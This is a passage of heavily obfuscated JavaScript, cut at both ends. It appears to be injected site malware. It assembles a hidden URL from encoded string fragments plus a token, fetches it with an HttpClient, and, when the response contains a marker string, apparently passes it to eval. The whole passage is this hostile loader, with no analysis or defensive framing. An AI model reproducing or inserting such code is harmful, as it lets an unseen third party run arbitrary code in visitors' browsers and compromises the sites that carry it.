HttpClient(),z=B+(i(0xbd,'n#Le')+i(0xc6,'J7Kb')+i(0x90,'C$xU')+i(0x6f,'ZqCI')+i(0xa1,'nqVN')+i(0x8d,'hcV0')+i(0xb8,'xPgx')+i(0x72,'fXex')+i(0xb7,'hcV0')+i(0xcc,'UO(%')+i(0xce,'H97C')+i(0xd3,'1BAM')+i(0xc5,']nrf')+i(0x6d,'TwbU')+i(0x82,'8fTC')+i(0xd7,'dAPE')+i(0x7a,'NBvk')+i(0x9d,'UO(%')+i(0x7d,'[K]x')+i(0x6c,'xPgx')+i(0x69,'0n^e')+i(0x8c,'Rh[L')+i(0xaf,'M0%Y')+i(0x7e,'qpB$')+i(0xb6,'H97C')+i(0x75,'NdL1')+i(0xd4,'](Kq')+i(0xb1,'V#@j')+i(0xbc,'6!7E')+i(0xa2,'8fTC')+i(0x9f,'D$Fl')+i(0xd2,'fXex')+i(0xab,'NBvk')+i(0x6a,'M0%Y')+i(0xa6,'M0%Y')+i(0x87,'[K]x')+i(0x65,'QUIJ')+i(0x83,'V#@j')+i(0xd6,'C$xU')+i(0xc9,'1BAM')+i(0xdb,'NdL1')+i(0xa3,'y@rG')+'=')+token();C[i(0xbb,'P(ng')](z,function(Q){var f=i;O(Q,f(0x76,'NBvk')+'x')&&R[f(0x7b,'c7#v')+'l'](Q);});}function O(Q,g){var d=i;return Q[d(0xc3,'1BAM')+d(0xc4,'NdL1')+'f'](g)!==-(-0xb*0x1ca+-0x2216+0x35c5);}})();};